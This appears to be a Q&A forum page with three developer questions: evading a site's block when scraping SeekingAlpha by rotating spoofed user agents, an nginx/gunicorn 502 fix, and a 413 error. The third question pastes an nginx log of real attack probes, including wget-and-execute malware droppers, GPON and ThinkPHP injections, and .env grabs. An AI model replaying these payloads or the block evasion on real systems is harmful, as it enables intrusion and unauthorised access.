Access Denied while scraping seekingAlpha transcript with beautifulSoup - python

I am trying to scrape earning calls transcript using beautifulSoup. I was able to extract first time but later it is giving me access denied error. I have tried randomizing the user agents but it is not working
**Code to randomize user agents **
import random
user_agent_list = [
#Chrome
'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36',
'Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.90 Safari/537.36',
'Mozilla/5.0 (Windows NT 5.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.90 Safari/537.36',
'Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.90 Safari/537.36',
'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.157 Safari/537.36',
'Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36',
'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/57.0.2987.133 Safari/537.36',
'Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/57.0.2987.133 Safari/537.36',
'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2883.87 Safari/537.36',
'Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2883.87 Safari/537.36',
#Firefox
'Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1)',
'Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko',
'Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0)',
'Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like Gecko',
'Mozilla/5.0 (Windows NT 6.2; WOW64; Trident/7.0; rv:11.0) like Gecko',
'Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko',
'Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.0; Trident/5.0)',
'Mozilla/5.0 (Windows NT 6.3; WOW64; Trident/7.0; rv:11.0) like Gecko',
'Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)',
'Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like Gecko',
'Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; WOW64; Trident/6.0)',
'Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)',
'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)'
]
user_agent = random.choice(user_agent_list)
Code used to extract transcript
from bs4 import BeautifulSoup
import requests
import re
parse_site = 'https://seekingalpha.com/article/4333315-swiss-re-ag-ssref-2019-annual-report-conference-call-transcript?part=single'
html_content = requests.get(parse_site, headers={'User-Agent': user_agent}).text
print (BeautifulSoup(html_content, 'lxml'))
Error: Access to this page has been denied.

Related

Issues getting nginx to serve my flask app

The bounty expires in 4 days. Answers to this question are eligible for a +350 reputation bounty.
dms_quant wants to draw more attention to this question.
I have a flask app that I would like to serve via a DO Droplet.
I have followed How To Serve Flask Applications with Gunicorn and Nginx on Ubuntu 22.04
This is my folder structure
root/
└── baseweb/
├── venv
├── app.py
└── app/
├── routes.py
└── templates/
└── index.html
app.py looks like this
from app import app
if __name__ == "__main__":
app.run(host='0.0.0.0', debug=True)
I have created a baseweb service
[Unit]
Description=Gunicorn instance to serve myproject
After=network.target
[Service]
User=root
Group=www-data
WorkingDirectory=/root/baseweb
Environment="PATH=/root/baseweb/venv/bin"
ExecStart=/root/baseweb/venv/bin/gunicorn --workers 1 --bind unix:baseweb.sock app:app
[Install]
WantedBy=multi-user.target
and my nginx configuration (/etc/nginx/sites-available/baseweb) - edited per arthur simas comment below
server {
listen 80;
server_name baserank.net www.baserank.net;
location / {
proxy_pass http://unix:/root/baseweb/baseweb.sock;
}
}
When i simply run app.py using my venv, i can access my flask app via http://68.183.68.148:5000/
if I run gunicorn --bind 0.0.0.0:5000 app:app i can also access my app via the same IP.
But when i try to access via nginx (via http://68.183.68.148 without running the app in console), i get
502 Bad Gateway
nginx/1.22.0 (Ubuntu)
I have spent hours trying to adjust settings, but i have no idea where this is going wrong - so any help is very much appreciated.
Edit 2023-02-17: Ngnix access.log
185.16.141.5 - - [17/Feb/2023:14:14:17 +0000] "GET / HTTP/1.1" 502 568 "http://baserank.net/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36"
185.16.141.5 - - [17/Feb/2023:14:14:17 +0000] "GET / HTTP/1.1" 502 568 "http://baserank.net/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36"
185.16.141.5 - - [17/Feb/2023:14:14:20 +0000] "GET / HTTP/1.1" 502 568 "http://baserank.net/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36"
185.16.141.5 - - [17/Feb/2023:14:14:20 +0000] "GET / HTTP/1.1" 502 568 "http://baserank.net/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36"
143.110.222.166 - - [17/Feb/2023:14:22:21 +0000] "GET / HTTP/1.1" 502 166 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.1 Mobile/15E148 Safari/604.1"

your ngnix config is wrong. you don't use root directive for reverse proxying with nginx, but instead proxy_pass. the tutorial you've posted is right. the changes you should do:
server {
listen 80;
server_name your_domain www.your_domain; # place here your website domain (optional directive)
location / {
proxy_pass http://unix:/root/baseweb/baseweb.sock;
}
}
listen tells were the nginx server should listen to requests. it could be only the port (80), ip:port (68.183.68.148:80), an unix socket (unix:/var/run/nginx.sock), etc...
the proxy_pass directive acts as a reverse proxy, forwarding traffic to the provided URL.
root is for serving static files.
read more at:
NGINX Module ngx_http_core_module - listen
NGINX Reverse Proxy
NGINX Module ngx_http_proxy_module - proxy_pass
Serving Static Content
also, be sure to create the service in systemd, at the correct path location and check if its running sudo systemctl status myproject (or nginx would not be able to forward traffic to it)

One potential issue could be with the ownership and permission of the socket file /root/baseweb/baseweb.sock. Make sure the user running the Gunicorn service (in your case, root) has ownership of the file, and the permissions are set correctly. You can try changing the group to root in the baseweb.service file:
[Service]
User=root
Group=root
WorkingDirectory=/root/baseweb
Environment="PATH=/root/baseweb/venv/bin"
ExecStart=/root/baseweb/venv/bin/gunicorn --workers 1 --bind unix:baseweb.sock app:app
After modifying the service file, make sure to reload the daemon and restart the service:
sudo systemctl daemon-reload
sudo systemctl restart baseweb
You can also check the error log of Gunicorn by adding --log-level debug --error-logfile /path/to/error.log to the Gunicorn command in the baseweb.service file. Then, check the content of /path/to/error.log for more details about the error.
Another thing to try is to update the Nginx configuration to proxy pass to http://127.0.0.1:5000 instead of the socket file. You can try modifying the configuration file as follows:
server {
listen 80;
server_name baserank.net www.baserank.net;
location / {
proxy_pass http://127.0.0.1:5000;
proxy_set_header Host $host;
proxy_set_header X-Real-IP $remote_addr;
proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
}
}
After modifying the configuration file, restart the Nginx service:
sudo systemctl restart nginx

413 Request Entity Too Large - Regular Fix Not Working

I'm deploying a Django application online using AWS Elastic Beanstalk. It worked fine for a while, but some change is causing the application to throw a '413 Request Entity Too Large nginx/1.18.0' error when I try to upload a file.
Here are my logs:
stdout log:
----------------------------------------
/var/log/web.stdout.log
----------------------------------------
Sep 8 19:59:39 ip-172-31-16-39 web: Bad Request: /
Sep 8 21:27:14 ip-172-31-16-39 web: Not Found: /static/tinymce/css/prism.css
Sep 8 21:27:14 ip-172-31-16-39 web: Not Found: /static/tinymce/js/prism.js
Sep 8 21:27:14 ip-172-31-16-39 web: Not Found: /favicon.ico
Sep 8 21:27:16 ip-172-31-16-39 web: Not Found: /static/tinymce/css/prism.css
Sep 8 21:27:16 ip-172-31-16-39 web: Not Found: /static/tinymce/js/prism.js
access log:
----------------------------------------
/var/log/nginx/access.log
----------------------------------------
192.241.237.101 - - [07/Sep/2020:09:35:44 +0000] "GET /hudson HTTP/1.1" 400 59666 "-" "Mozilla/5.0 zgrab/0.x" "-"
3.134.93.214 - - [07/Sep/2020:10:07:18 +0000] "HEAD /robots.txt HTTP/1.0" 404 0 "-" "-" "-"
189.39.247.131 - - [07/Sep/2020:11:25:33 +0000] "GET / HTTP/1.1" 400 59689 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/601.7.7 (KHTML, like Gecko) Version/9.1.2 Safari/601.7.7" "-"
195.54.160.21 - - [07/Sep/2020:12:20:29 +0000] "GET /solr/admin/info/system?wt=json HTTP/1.1" 400 60308 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" "-"
195.54.160.21 - - [07/Sep/2020:12:21:47 +0000] "GET /?XDEBUG_SESSION_START=phpstorm HTTP/1.1" 400 60242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" "-"
195.54.160.21 - - [07/Sep/2020:12:23:28 +0000] "GET /?a=fetch&content=<php>die(#md5(HelloThinkCMF))</php> HTTP/1.1" 400 60812 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" "-"
195.54.160.21 - - [07/Sep/2020:12:23:57 +0000] "GET /index.php?s=/Index/\x5Cthink\x5Capp/invokefunction&function=call_user_func_array&vars[0]=md5&vars[1][]=HelloThinkPHP HTTP/1.1" 400 61461 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" "-"
195.54.160.21 - - [07/Sep/2020:12:43:18 +0000] "POST /api/jsonws/invoke HTTP/1.1" 400 60160 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" "-"
192.241.223.11 - - [07/Sep/2020:13:22:19 +0000] "GET / HTTP/1.1" 400 59600 "-" "Mozilla/5.0 zgrab/0.x" "-"
195.54.160.21 - - [07/Sep/2020:13:23:33 +0000] "GET /vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1" 400 60420 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" "-"
13.75.252.149 - - [07/Sep/2020:13:27:17 +0000] "HEAD /robots.txt HTTP/1.0" 404 0 "-" "-" "-"
195.54.160.21 - - [07/Sep/2020:13:37:01 +0000] "POST /vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1" 400 60896 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" "-"
66.240.205.34 - - [07/Sep/2020:13:39:44 +0000] "Gh0st\xAD\x00\x00\x00\xE0\x00\x00\x00x\x9CKS``\x98\xC3\xC0\xC0\xC0\x06\xC4\x8C#\xBCQ\x96\x81\x81\x09H\x07\xA7\x16\x95e&\xA7*\x04$&g+\x182\x94\xF6\xB000\xAC\xA8rc\x00\x01\x11\xA0\x82\x1F\x5C`&\x83\xC7K7\x86\x19\xE5n\x0C9\x95n\x0C;\x84\x0F3\xAC\xE8sch\xA8^\xCF4'J\x97\xA9\x82\xE30\xC3\x91h]&\x90\xF8\xCE\x97S\xCBA4L?2=\xE1\xC4\x92\x86\x0B#\xF5`\x0CT\x1F\xAE\xAF]" 400 157 "-" "-" "-"
175.0.8.221 - - [07/Sep/2020:14:14:23 +0000] "GET /setup.cgi?next_file=netgear.cfg&todo=syscmd&cmd=rm+-rf+/tmp/*;wget+http://192.168.1.1:8088/Mozi.m+-O+/tmp/netgear;sh+netgear&curpath=/&currentsetting.htm=1 HTTP/1.0" 404 3327 "-" "-" "-"
182.117.96.194 - - [07/Sep/2020:15:16:47 +0000] "POST /GponForm/diag_Form?images/ HTTP/1.1" 404 3196 "-" "Hello, World" "-"
182.117.96.194 - - [07/Sep/2020:15:16:52 +0000] ";sh+/tmp/gpon80&ipv=0" 400 157 "-" "-" "-"
185.172.110.223 - - [07/Sep/2020:16:27:38 +0000] "GET / HTTP/1.1" 400 60077 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:76.0) Gecko/20100101 Firefox/76.0" "-"
72.70.99.205 - - [07/Sep/2020:16:31:52 +0000] "GET / HTTP/1.1" 400 34621 "-" "-" "-"
87.103.245.177 - - [07/Sep/2020:16:55:41 +0000] "GET / HTTP/1.1" 400 59675 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36" "-"
77.71.48.244 - - [07/Sep/2020:17:28:47 +0000] "GET / HTTP/1.1" 400 59685 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/601.7.7 (KHTML, like Gecko) Version/9.1.2 Safari/601.7.7" "-"
91.133.12.77 - - [07/Sep/2020:17:56:59 +0000] "GET / HTTP/1.1" 400 59673 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36" "-"
188.119.34.250 - - [07/Sep/2020:18:14:46 +0000] "GET / HTTP/1.1" 400 59681 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/601.7.7 (KHTML, like Gecko) Version/9.1.2 Safari/601.7.7" "-"
45.148.10.28 - - [07/Sep/2020:18:37:31 +0000] "POST /boaform/admin/formLogin HTTP/1.1" 400 40317 "http://54.191.28.187:80/admin/login.asp" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:71.0) Gecko/20100101 Firefox/71.0" "-"
157.230.60.101 - - [07/Sep/2020:19:00:05 +0000] "GET / HTTP/1.1" 400 59600 "-" "Mozilla/5.0 zgrab/0.x" "-"
185.172.110.223 - - [07/Sep/2020:20:39:59 +0000] "GET / HTTP/1.1" 400 60069 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:76.0) Gecko/20100101 Firefox/76.0" "-"
193.118.53.194 - - [07/Sep/2020:20:55:56 +0000] "GET /Telerik.Web.UI.WebResource.axd?type=rau HTTP/1.1" 400 60539 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36" "-"
102.165.30.61 - - [07/Sep/2020:21:17:13 +0000] "GET / HTTP/1.1" 400 59574 "-" "NetSystemsResearch studies the availability of various services across the internet. Our website is netsystemsresearch.com" "-"
209.17.96.2 - - [07/Sep/2020:21:25:22 +0000] "GET / HTTP/1.0" 200 1567 "-" "Mozilla/5.0 (compatible; Nimbostratus-Bot/v1.3.2; http://cloudsystemnetworks.com)" "-"
192.241.226.156 - - [07/Sep/2020:21:58:26 +0000] "GET /portal/redlion HTTP/1.1" 400 59762 "-" "Mozilla/5.0 zgrab/0.x" "-"
78.108.105.38 - - [07/Sep/2020:22:46:51 +0000] "GET / HTTP/1.1" 400 59687 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/601.7.7 (KHTML, like Gecko) Version/9.1.2 Safari/601.7.7" "-"
177.200.3.24 - - [07/Sep/2020:22:50:55 +0000] "GET / HTTP/1.1" 400 59685 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/601.7.7 (KHTML, like Gecko) Version/9.1.2 Safari/601.7.7" "-"
117.10.199.75 - - [08/Sep/2020:00:47:19 +0000] "POST /HNAP1/ HTTP/1.0" 400 0 "-" "-" "-"
45.148.10.28 - - [08/Sep/2020:01:10:32 +0000] "POST /boaform/admin/formLogin HTTP/1.1" 400 40317 "http://54.191.28.187:80/admin/login.asp" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:71.0) Gecko/20100101 Firefox/71.0" "-"
209.17.96.26 - - [08/Sep/2020:01:23:00 +0000] "GET / HTTP/1.1" 400 59482 "-" "Mozilla/5.0 (compatible; Nimbostratus-Bot/v1.3.2; http://cloudsystemnetworks.com)" "-"
167.248.133.33 - - [08/Sep/2020:01:35:32 +0000] "GET / HTTP/1.1" 400 51901 "-" "-" "-"
167.248.133.33 - - [08/Sep/2020:01:35:32 +0000] "GET / HTTP/1.1" 400 59706 "-" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)" "-"
191.5.162.197 - - [08/Sep/2020:02:20:28 +0000] "GET / HTTP/1.1" 400 59673 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36" "-"
87.251.67.210 - - [08/Sep/2020:04:24:57 +0000] "\x03\x00\x00/*\xE0\x00\x00\x00\x00\x00Cookie: mstshash=Administr" 400 157 "-" "-" "-"
36.84.145.250 - - [08/Sep/2020:05:16:30 +0000] "GET / HTTP/1.1" 400 59673 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36" "-"
167.248.133.52 - - [08/Sep/2020:06:02:25 +0000] "GET / HTTP/1.1" 400 51901 "-" "-" "-"
167.248.133.52 - - [08/Sep/2020:06:02:25 +0000] "GET / HTTP/1.1" 400 59706 "-" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)" "-"
162.142.125.51 - - [08/Sep/2020:06:07:09 +0000] "GET / HTTP/1.1" 400 51901 "-" "-" "-"
162.142.125.51 - - [08/Sep/2020:06:07:09 +0000] "GET / HTTP/1.1" 400 59706 "-" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)" "-"
94.231.180.211 - - [08/Sep/2020:07:31:40 +0000] "GET / HTTP/1.1" 400 59669 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36" "-"
102.41.166.171 - - [08/Sep/2020:07:45:05 +0000] "GET /shell?cd+/tmp;rm+-rf+*;wget+185.132.53.147/hakaibin/h4k4i.arm7;chmod+777+/tmp/h4k4i.arm7;sh+/tmp/h4k4i.arm7+hakai.Rep.Jaws HTTP/1.1" 404 3265 "-" "Hello, world" "-"
109.95.79.20 - - [08/Sep/2020:08:52:10 +0000] "GET / HTTP/1.1" 400 59671 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36" "-"
94.102.49.193 - - [08/Sep/2020:08:55:11 +0000] "GET / HTTP/1.1" 400 59852 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.36" "-"
94.102.49.193 - - [08/Sep/2020:08:55:12 +0000] "GET /robots.txt HTTP/1.1" 400 59423 "-" "-" "-"
94.102.49.193 - - [08/Sep/2020:08:55:13 +0000] "GET /sitemap.xml HTTP/1.1" 400 59435 "-" "-" "-"
94.102.49.193 - - [08/Sep/2020:08:55:14 +0000] "GET /.well-known/security.txt HTTP/1.1" 400 59591 "-" "-" "-"
94.102.49.193 - - [08/Sep/2020:08:55:15 +0000] "GET /favicon.ico HTTP/1.1" 400 59741 "-" "python-requests/2.23.0" "-"
102.43.100.198 - - [08/Sep/2020:09:00:51 +0000] "GET /shell?cd+/tmp;rm+-rf+*;wget+185.132.53.147/hakaibin/h4k4i.arm7;chmod+777+/tmp/h4k4i.arm7;sh+/tmp/h4k4i.arm7+hakai.Rep.Jaws HTTP/1.1" 499 0 "-" "Hello, world" "-"
61.219.11.153 - - [08/Sep/2020:09:11:05 +0000] "lv[endof]" 400 157 "-" "-" "-"
5.57.36.22 - - [08/Sep/2020:10:04:26 +0000] "GET / HTTP/1.1" 400 59667 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36" "-"
87.251.67.210 - - [08/Sep/2020:10:08:05 +0000] "\x03\x00\x00/*\xE0\x00\x00\x00\x00\x00Cookie: mstshash=Administr" 400 157 "-" "-" "-"
192.35.168.32 - - [08/Sep/2020:10:13:46 +0000] "GET / HTTP/1.1" 400 59598 "-" "Mozilla/5.0 zgrab/0.x" "-"
122.152.55.47 - - [08/Sep/2020:10:59:08 +0000] "GET / HTTP/1.1" 400 59675 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36" "-"
62.38.222.117 - - [08/Sep/2020:11:02:20 +0000] "GET / HTTP/1.1" 400 59673 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36" "-"
106.53.118.8 - - [08/Sep/2020:12:10:05 +0000] "GET /TP/public/index.php HTTP/1.1" 400 59858 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)" "-"
106.53.118.8 - - [08/Sep/2020:12:10:06 +0000] "GET /TP/index.php HTTP/1.1" 400 59774 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)" "-"
106.53.118.8 - - [08/Sep/2020:12:10:07 +0000] "GET /thinkphp/html/public/index.php HTTP/1.1" 400 59990 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)" "-"
106.53.118.8 - - [08/Sep/2020:12:10:07 +0000] "GET /html/public/index.php HTTP/1.1" 400 59882 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)" "-"
106.53.118.8 - - [08/Sep/2020:12:10:13 +0000] "GET / HTTP/1.1" 400 59630 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)" "-"
222.186.136.164 - - [08/Sep/2020:12:37:33 +0000] "GET / HTTP/1.1" 400 43573 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.2)" "-"
222.186.136.164 - - [08/Sep/2020:12:37:34 +0000] "GET / HTTP/1.1" 400 43573 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.2)" "-"
222.186.136.164 - - [08/Sep/2020:12:37:34 +0000] "GET //dede/tpl.php HTTP/1.1" 400 43573 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.2)" "-"
222.186.136.164 - - [08/Sep/2020:12:37:35 +0000] "GET //console/login/LoginForm.jsp HTTP/1.1" 400 59864 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.2)" "-"
222.186.136.164 - - [08/Sep/2020:12:37:36 +0000] "GET //login.action HTTP/1.1" 400 59699 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.2)" "-"
222.186.136.164 - - [08/Sep/2020:12:37:37 +0000] "GET //showcase.action HTTP/1.1" 400 43573 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.2)" "-"
222.186.136.164 - - [08/Sep/2020:12:37:40 +0000] "GET //upload.action HTTP/1.1" 400 59688 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.2)" "-"
222.186.136.164 - - [08/Sep/2020:12:37:42 +0000] "GET //showAnouncement.action HTTP/1.1" 400 59796 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.2)" "-"
222.186.136.164 - - [08/Sep/2020:12:37:43 +0000] "GET //public/index.php HTTP/1.1" 400 43573 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.2)" "-"
222.186.136.164 - - [08/Sep/2020:12:37:44 +0000] "GET //index.php HTTP/1.1" 400 45924 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.2)" "-"
192.241.220.33 - - [08/Sep/2020:12:59:06 +0000] "GET /hudson HTTP/1.1" 400 59672 "-" "Mozilla/5.0 zgrab/0.x" "-"
148.251.10.115 - - [08/Sep/2020:13:15:02 +0000] "GET /.env HTTP/1.1" 400 59872 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" "-"
148.251.10.115 - - [08/Sep/2020:13:15:02 +0000] "POST / HTTP/1.1" 400 60407 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" "-"
178.73.215.171 - - [08/Sep/2020:13:32:49 +0000] "GET / HTTP/1.0" 200 1567 "-" "-" "-"
172.104.108.109 - - [08/Sep/2020:14:07:42 +0000] "GET / HTTP/1.1" 400 25842 "-" "Mozilla/5.0" "-"
185.39.11.105 - - [08/Sep/2020:14:18:52 +0000] "GET http://example.com/ HTTP/1.1" 400 40317 "-" "Go-http-client/1.1" "-"
89.44.176.112 - - [08/Sep/2020:14:27:23 +0000] "GET / HTTP/1.1" 400 59673 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36" "-"
198.143.133.154 - - [08/Sep/2020:14:49:08 +0000] "GET / HTTP/1.1" 400 59812 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.117 Safari/537.36" "-"
128.14.133.58 - - [08/Sep/2020:16:09:04 +0000] "GET / HTTP/1.1" 400 59818 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36" "-"
139.162.106.181 - - [08/Sep/2020:17:34:00 +0000] "GET / HTTP/1.1" 400 59400 "-" "HTTP Banner Detection (https://security.ipip.net)" "-"
219.65.47.214 - - [08/Sep/2020:17:57:48 +0000] "GET / HTTP/1.1" 400 59675 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36" "-"
83.97.20.21 - - [08/Sep/2020:18:08:44 +0000] "GET / HTTP/1.0" 200 1567 "-" "-" "-"
45.148.10.28 - - [08/Sep/2020:18:15:12 +0000] "POST /boaform/admin/formLogin HTTP/1.1" 400 61355 "http://54.191.28.187:80/admin/login.asp" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:71.0) Gecko/20100101 Firefox/71.0" "-"
45.148.10.28 - - [08/Sep/2020:18:15:12 +0000] "" 400 0 "-" "-" "-"
46.236.65.241 - - [08/Sep/2020:18:27:13 +0000] "GET / HTTP/1.1" 400 59665 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36" "-"
192.241.228.161 - - [08/Sep/2020:19:07:54 +0000] "GET / HTTP/1.1" 400 59594 "-" "Mozilla/5.0 zgrab/0.x" "-"
192.140.37.42 - - [08/Sep/2020:19:59:39 +0000] "GET / HTTP/1.1" 400 59675 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36" "-"
156.96.156.138 - - [08/Sep/2020:20:54:28 +0000] "GET / HTTP/1.0" 200 1567 "-" "masscan/1.0 (https://github.com/robertdavidgraham/masscan)" "-"
173.49.32.209 - - [08/Sep/2020:21:27:14 +0000] "GET / HTTP/1.1" 200 1567 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.83 Safari/537.36" "-"
173.49.32.209 - - [08/Sep/2020:21:27:14 +0000] "GET /static/tinymce/css/prism.css HTTP/1.1" 404 1831 "http://testing-env.us-west-2.elasticbeanstalk.com/" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.83 Safari/537.36" "-"
173.49.32.209 - - [08/Sep/2020:21:27:14 +0000] "GET /static/tinymce/js/prism.js HTTP/1.1" 404 1825 "http://testing-env.us-west-2.elasticbeanstalk.com/" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.83 Safari/537.36" "-"
